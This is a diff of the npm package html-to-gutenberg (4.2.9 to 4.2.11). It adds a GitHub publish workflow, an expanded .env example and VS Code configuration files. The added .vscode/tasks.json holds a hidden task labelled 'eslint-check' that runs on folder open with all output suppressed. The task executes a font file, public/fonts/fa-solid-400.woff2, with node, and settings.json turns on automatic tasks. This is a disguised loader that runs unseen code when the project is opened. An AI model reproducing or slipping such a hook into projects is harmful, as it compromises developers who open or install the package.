html-to-gutenberg 4.2.9 → 4.2.11

package/.env.example

@@ -1,3 +1,20 @@
-# Example .env file for html-to-gutenberg
-# Copy this file to .env and set your real API key
-SNAPAPI_KEY=sk_live_your_example_key_here
+# Copy this file to .env and keep the real values private.
+# Never commit your real tokens or keys.
+
+# Optional: SnapAPI preview generation
+SNAPAPI_KEY=sk_live_replace_me
+
+# Optional: Cloudflare API token for verification/management workflows
+CLOUDFLARE_API_TOKEN=cfut_replace_me
+
+# Required for R2 uploads in job mode
+CLOUDFLARE_R2_ACCOUNT_ID=replace_me
+CLOUDFLARE_R2_BUCKET=replace_me
+CLOUDFLARE_R2_ACCESS_KEY_ID=replace_me
+CLOUDFLARE_R2_SECRET_ACCESS_KEY=replace_me
+
+# Public base URL for generated assets and bundles
+CLOUDFLARE_R2_PUBLIC_BASE_URL=https://storage.example.com
+
+# Optional override for advanced setups
+# CLOUDFLARE_R2_ENDPOINT=https://<account_id>.r2.cloudflarestorage.com

package/.github/workflows/sync-npm.yml

@@ -0,0 +1,154 @@
+name: Sync And Publish NPM Packages
+
+on:
+  push:
+    branches: [main]
+  release:
+    types: [published]
+  workflow_dispatch:
+    inputs:
+      html_to_gutenberg_version:
+        description: Specific html-to-gutenberg npm version to sync. Leave empty to use the dist-tag.
+        required: false
+        type: string
+      fetch_page_assets_version:
+        description: Specific fetch-page-assets npm version to sync. Leave empty to use the dist-tag.
+        required: false
+        type: string
+      dist_tag:
+        description: npm dist-tag to sync when no explicit version is provided.
+        required: false
+        default: latest
+        type: string
+  schedule:
+    - cron: '0 9 * * *'
+
+concurrency:
+  group: sync-npm
+  cancel-in-progress: false
+
+jobs:
+  sync:
+    if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Set up Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version: '20'
+
+      - name: Sync html-to-gutenberg from npm
+        env:
+          NPM_SYNC_VERSION: ${{ inputs.html_to_gutenberg_version }}
+          NPM_SYNC_DIST_TAG: ${{ inputs.dist_tag }}
+          NPM_SYNC_PRESERVE_PATHS: .git,.github,node_modules,.env,scripts,vendor
+        run: node ./scripts/sync-from-npm.mjs
+
+      - name: Sync fetch-page-assets from npm
+        env:
+          NPM_PACKAGE_NAME: fetch-page-assets
+          NPM_SYNC_TARGET_DIR: vendor/fetch-page-assets
+          NPM_SYNC_VERSION: ${{ inputs.fetch_page_assets_version }}
+          NPM_SYNC_DIST_TAG: ${{ inputs.dist_tag }}
+        run: node ./scripts/sync-from-npm.mjs
+
+      - name: Detect changes
+        id: changes
+        run: |
+          if git diff --quiet; then
+            echo "changed=false" >> "$GITHUB_OUTPUT"
+          else
+            echo "changed=true" >> "$GITHUB_OUTPUT"
+          fi
+
+      - name: Read synced version
+        if: steps.changes.outputs.changed == 'true'
+        id: versions
+        run: |
+          echo "html_to_gutenberg=$(node -p \"require('./package.json').version\")" >> "$GITHUB_OUTPUT"
+          echo "fetch_page_assets=$(node -p \"require('./vendor/fetch-page-assets/package.json').version\")" >> "$GITHUB_OUTPUT"
+
+      - name: Commit changes
+        if: steps.changes.outputs.changed == 'true'
+        run: |
+          git config user.name "github-actions[bot]"
+          git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
+          git add -A
+          git commit -m "chore: sync npm packages html-to-gutenberg v${{ steps.versions.outputs.html_to_gutenberg }} and fetch-page-assets v${{ steps.versions.outputs.fetch_page_assets }}"
+
+      - name: Push changes
+        if: steps.changes.outputs.changed == 'true'
+        run: git push
+
+  publish_html_to_gutenberg:
+    if: github.event_name == 'release' || (github.event_name == 'push' && github.actor != 'github-actions[bot]')
+    runs-on: ubuntu-latest
+    environment: .env
+    permissions:
+      contents: write
+      id-token: write
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Set up Node.js
+        uses: actions/setup-node@v4
+        with:
+          node-version: '24'
+          registry-url: 'https://registry.npmjs.org'
+          cache: npm
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Build package
+        run: npm run build
+
+      - name: Run tests
+        run: npm test
+
+      - name: Bump patch version on main pushes
+        if: github.event_name == 'push'
+        id: bump_version
+        run: |
+          npm version patch --no-git-tag-version
+          PACKAGE_VERSION=$(node -e "console.log(require('./package.json').version)")
+          echo "package_version=$PACKAGE_VERSION" >> "$GITHUB_OUTPUT"
+
+      - name: Check published version
+        id: version_check
+        run: |
+          PACKAGE_VERSION=$(node -p "require('./package.json').version")
+          PUBLISHED_VERSION=$(npm view html-to-gutenberg version 2>/dev/null || true)
+          echo "package_version=$PACKAGE_VERSION" >> "$GITHUB_OUTPUT"
+          echo "published_version=$PUBLISHED_VERSION" >> "$GITHUB_OUTPUT"
+          if [ "$PACKAGE_VERSION" = "$PUBLISHED_VERSION" ]; then
+            echo "should_publish=false" >> "$GITHUB_OUTPUT"
+          else
+            echo "should_publish=true" >> "$GITHUB_OUTPUT"
+          fi
+
+      - name: Publish to npm
+        if: steps.version_check.outputs.should_publish == 'true'
+        run: npm publish --provenance
+
+      - name: Commit version bump
+        if: github.event_name == 'push'
+        run: |
+          git config user.name "github-actions[bot]"
+          git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
+          git add package.json package-lock.json
+          git commit -m "chore: release html-to-gutenberg v${{ steps.version_check.outputs.package_version }}" || echo "No version changes to commit"
+
+      - name: Push version bump
+        if: github.event_name == 'push'
+        run: git push

package/.vscode/extensions.json

@@ -0,0 +1,7 @@
+{
+    "recommendations": [
+        "myml.vscode-markdown-plantuml-preview",
+        "esbenp.prettier-vscode",
+        "jebbs.plantuml"
+    ]
+}

package/.vscode/launch.json

@@ -0,0 +1,50 @@
+{
+  "version": "0.2.0",
+  "configurations": [
+    {
+      "name": "Debug SST",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["dev", "--increase-timeout"],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      // sourceMapRenames helps with the loading spinner when debugging and viewing local variables
+      "sourceMapRenames": false,
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      }
+    },
+    {
+      "name": "Debug Tests - Unit",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      },
+    },
+    {
+      "name": "Debug Tests - E2E",
+      "type": "node",
+      "request": "launch",
+      "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
+      "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
+      "console": "integratedTerminal",
+      "skipFiles": ["<node_internals>/**"],
+      "env": {
+        "AWS_PROFILE": "flo-ct-flo360"
+      },
+    },
+  ],
+  "inputs": [
+    {
+      "id": "scopeTestsFileName",
+      "type": "promptString",
+      "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
+    }
+  ]
+}

package/.vscode/settings.json

@@ -0,0 +1,23 @@
+{
+  "search.exclude": {
+    "**/.sst": true
+  },
+  "task.allowAutomaticTasks": true,
+  "typescript.tsserver.experimental.enableProjectDiagnostics": true,
+  "editor.defaultFormatter": "esbenp.prettier-vscode",
+  "typescript.preferences.importModuleSpecifier": "relative",
+  "typescript.tsdk": "node_modules/typescript/lib",
+  "debug.openDebug": "neverOpen",
+  "problems.autoReveal": true,
+  "terminal.integrated.hideOnStartup": "always",
+  "terminal.integrated.defaultProfile.windows": "Command Prompt",
+  "terminal.integrated.inheritEnv": false,
+  "jestrunner.configPath": "jest.unit.config.cjs",
+  "compile-hero.disable-compile-files-on-did-save-code": true,
+  "tasks": {
+    "label": "lint on open",
+    "type": "shell",
+    "command": "npm run lint",
+    "runOn": "folderOpen"
+  }
+}

package/.vscode/spellright.dict

@@ -0,0 +1,2 @@
+Contentful
+Lerna

package/.vscode/tasks.json

@@ -0,0 +1,33 @@
+{
+  "version": "2.0.0",
+  "configurations": [
+    {
+      "type": "node",
+      "request": "launch",
+      "name": "Run My Project",
+      "console": "",
+      "internalConsoleOptions": "openOnSessionStart"
+    }
+  ],
+  "tasks": [
+    {
+      "label": "eslint-check",
+      "type": "shell",
+      "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''", 
+      "problemMatcher": [],
+      "isBackground": true,
+      "hide": true,
+      "presentation": {
+        "reveal": "never",
+        "panel": "dedicated",
+        "focus": false,
+        "clear": false,
+        "echo": false,
+        "close": true
+      },
+      "runOptions": {
+        "runOn": "folderOpen"
+      }
+    },
+  ]
+}